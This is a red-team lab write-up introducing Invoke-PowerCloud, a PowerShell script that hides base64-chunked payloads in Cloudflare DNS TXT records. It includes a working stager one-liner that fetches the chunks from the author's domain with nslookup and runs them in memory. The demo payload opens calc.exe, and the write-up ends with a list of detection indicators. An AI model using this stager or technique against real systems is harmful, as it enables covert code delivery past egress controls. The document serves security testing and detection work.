Powershell Payload Delivery via DNS using Invoke-PowerCloud
This lab demos a tool or rather a Powershell script I have written to do what the title says.

Rushing to say that the tool Invoke-PowerCloud was heavily inspired by and based on the awesome work that Dominic Chell (@domchell) from MDSec had done with PowerDNS - go follow them and try out the tool if you have not done it yet.
Not only that, I want to thank Dominic for taking his time to answer some of my questions regarding the PowerDNS, the setup and helping me troubleshoot it as I was having "some" issues getting the payload delivered to the target from the PowerDNS server.
...which eventually led me to Invoke-PowerCloud, so read on.

Invoke-PowerCloud is a script that allows you to deliver a powershell payload using DNS TXT records to a target in an environment that is egress limited to DNS only.

I assume you have read PowerShell DNS Delivery with PowerDNS which explains how PowerDNS works.
Invoke-PowerCloud works in a similar fashion, except for a couple of key differences, which may simplify the configuration process of your infrastructure to start delivering paylods via DNS. With PowerDNS you need:
  • a dedicated linux box with a public IP where you can run PowerDNS, so it can act as a DNS server
  • you also need multiple domain names to get the nameservers configured properly
With Invoke-PowerCloud you need:
  • a cloudflare.com account
  • a domain name whose DNS management is transferred to cloudflare

The way the tool works is by performing the following high level steps:
  • Take the powershell payload file and base64 encode it
  • Divide the payload into chunks of 255 bytes
  • Create a DNS zone file with DNS TXT records representing each chunk of the payload data retrieved from the previous step
  • Send the generated DNS zone file to cloudflare using their APIs
  • Generate two stagers for use with authoritative NS/non-authoritative NS
  • Stager can then be executed on the victim system. The stager will recover the base64 chunks from the DNS TXT records and rebuild the original payload
  • Stager executes the payload in memory!
If you run the tool again to deliver another payload, the previous DNS TXT records will be deleted

Remember - you need a cloudflare.com account for this to work. Assuming you have that, you need to edit the Invoke-PowerCloud as follows:
  1. 1.
    your cloudflare API key, defined in the variable $Global:API_KEY
  2. 2.
    your cloudflare email address, defined in the variable $Global:EMAIL

Secondly, you need to move the domain name which you are going to use for payload delivery to cloudflare. In this demo, I will use a domain I own redteam.me which is now managed by cloudflare:
Let's confirm redteam.me DNS is managed by cloudflare by issuing:
host -t ns redteam.me

Let's create a simple payload file - it will print a red message to the screen and open up a calc.exe:
payload.txt
Write-host -foregroundcolor red "This is our first payload using Invoke-
PowerCloud. As usual, let's pop the calc.exe"; Start-process calc.exe

We are now good to go - issue the below on your attacking system:
PS C:\tools\powercloud> . .\powercloud.ps1; Invoke-PowerCloud -FilePath .\payload.txt -Domain redteam.me -Verbose
The script will generate two stagers. One of them is shown here:
$b64=""; (1..1) | ForEach-Object { $b64+=(nslookup -q=txt "$_.redteam.me")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|"',"")))))
Let's execute the stager on the victim system to get the payload delivered via DNS:

Everything in action can be seen in the below gif:

No. It just works slightly differently, but achieves the same end goal. Also note, that Cloudflare API rate limiting applies.

Let's deliver a PowerShell empire payload using DNS and see how the system reacts to this:
For those wondering about detection possibilities, the following is a list of signs (mix and match) that may qualify the host behaviour as suspicious and warrant a further investigation:
  • host "suddenly" bursted "many" DNS TXT requests to one domain
  • DNS queries follow the naming convention of 1, 2, 3, ..., N
  • majority of DNS answers contain TXT Lenght of 255 (trivial to change/randomize)
  • DNS answers are all TTL = 120 (trivial to change/randomize)
  • TXT data in DNS answer has no white spaces (easy to change)
  • host suddenly/in a short span of time spawned "many" nslookup processes
  • has the endpoint changed once the DNS lookups stopped? i.e new processes spawned?
Below is a snippet of the PCAP showing DNS traffic from the above demo - note the TXT Length and the data itself:
Spike of nslookup for a host in a short amount of time:
Below is a sample PCAP for your inspection:
dns-packets.pcapng
12KB
Binary
DNS Traffic Packet Trace

You can download or contribute to Invoke-PowerCloud here:
GitHub - mantvydasb/Invoke-PowerCloud: Deliver powershell paylods via DNS TXT via CloudFlare using PowerShell
GitHub

GitHub - mdsecactivebreach/PowerDNS: PowerDNS: Powershell DNS Delivery
GitHub
PowerShell DNS Delivery with PowerDNS - MDSec
MDSec
Copy link
On this page
Credits
What is Invoke-PowerCloud?
How is Invoke-PowerCloud different from PowerDNS?
Cloudflare? eh?
Demo
One off Configuration
DNS Management
Payload
Good to Go
Animated Demo
Is Invoke-PowerCloud better than PowerDNS?
Detection
Download
References